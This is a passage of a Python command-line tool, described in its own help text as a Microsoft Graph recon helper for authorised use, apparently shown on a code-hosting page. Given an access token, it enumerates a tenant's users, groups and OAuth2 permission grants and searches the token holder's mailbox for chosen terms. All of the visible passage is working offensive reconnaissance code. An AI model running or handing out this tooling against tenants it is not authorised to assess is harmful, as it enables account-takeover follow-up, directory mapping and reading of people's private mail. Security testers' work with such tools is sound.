data = json.load(fh)
|
||||
tok = data.get("access_token")
|
||||
if not tok:
|
||||
sys.exit("[!] no access_token in token file")
|
||||
return tok
|
||||
|
||||
|
||||
def graph_get_all(token, path):
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
url = f"{GRAPH}{path}"
|
||||
items = []
|
||||
while url:
|
||||
status, body = http_json("GET", url, headers=headers)
|
||||
if status != 200:
|
||||
print(f"[!] {url} -> {status}: {body.get('error')}", file=sys.stderr)
|
||||
break
|
||||
items.extend(body.get("value", []))
|
||||
url = body.get("@odata.nextLink")
|
||||
return items
|
||||
|
||||
|
||||
def cmd_auth(args):
|
||||
tok = device_code_auth(args.tenant)
|
||||
print(json.dumps(tok, indent=2))
|
||||
|
||||
|
||||
def cmd_users(args):
|
||||
tok = load_token(args.token_file)
|
||||
users = graph_get_all(tok, "/users?$select=displayName,userPrincipalName,id,jobTitle")
|
||||
print(f"[+] {len(users)} users", file=sys.stderr)
|
||||
out = json.dumps(users, indent=2)
|
||||
if args.out:
|
||||
with open(args.out, "w", encoding="utf-8") as fh:
|
||||
fh.write(out)
|
||||
print(f"[+] written to {args.out}", file=sys.stderr)
|
||||
else:
|
||||
print(out)
|
||||
|
||||
|
||||
def cmd_groups(args):
|
||||
tok = load_token(args.token_file)
|
||||
groups = graph_get_all(tok, "/groups?$select=displayName,id,securityEnabled,groupTypes")
|
||||
print(f"[+] {len(groups)} groups", file=sys.stderr)
|
||||
for g in groups:
|
||||
gt = ",".join(g.get("groupTypes") or []) or "security"
|
||||
print(f"{g['id']} {g.get('displayName')} [{gt}]")
|
||||
|
||||
|
||||
def cmd_grants(args):
|
||||
tok = load_token(args.token_file)
|
||||
grants = graph_get_all(tok, "/oauth2PermissionGrants")
|
||||
print(f"[+] {len(grants)} OAuth2 permission grants", file=sys.stderr)
|
||||
for gr in grants:
|
||||
print(f"client={gr.get('clientId')} resource={gr.get('resourceId')} scope={gr.get('scope')}")
|
||||
|
||||
|
||||
def cmd_mail(args):
|
||||
tok = load_token(args.token_file)
|
||||
headers = {"Authorization": f"Bearer {tok}"}
|
||||
q = urllib.parse.quote(f'"{args.term}"')
|
||||
url = f'{GRAPH}/me/messages?$search={q}&$top={args.top}&$select=subject,from,receivedDateTime'
|
||||
status, body = http_json("GET", url, headers=headers)
|
||||
if status != 200:
|
||||
sys.exit(f"[!] mail search failed {status}: {body.get('error')}")
|
||||
msgs = body.get("value", [])
|
||||
print(f"[+] {len(msgs)} messages matching '{args.term}'", file=sys.stderr)
|
||||
for m in msgs:
|
||||
sender = (m.get("from") or {}).get("emailAddress", {}).get("address", "?")
|
||||
print(f"{m.get('receivedDateTime')} {sender} {m.get('subject')}")
|
||||
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(description="Microsoft Graph recon helper (authorized use only)")
|
||||
sub = p.add_subparsers(dest="cmd", required=True)
|
||||
|
||||
sa = sub.add_parser("auth"); sa.add_argument("--tenant", required=True)
|
||||
su = sub.add_parser("users"); su.add_argument("--token-file", required=True); su.add_argument("--out")
|
||||
sg = sub.add_parser("groups"); sg.add_argument("--token-file", required=True)
|
||||
sgr = sub.add_parser("grants"); sgr.add_argument("--token-file", required=True)
|
||||
sm = sub.add_parser("mail"); sm.add_argument("--token-file", required=True)
|
||||
sm.add_argument("--term", required=True); sm.add_argument("--top", type=int, default=25)
|
||||
|
||||
args = p.parse_args()
|
||||
{"auth": cmd_auth, "users": cmd_users, "groups": cmd_groups,
|
||||
"grants": cmd_grants, "mail": cmd_mail}[args.cmd](args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user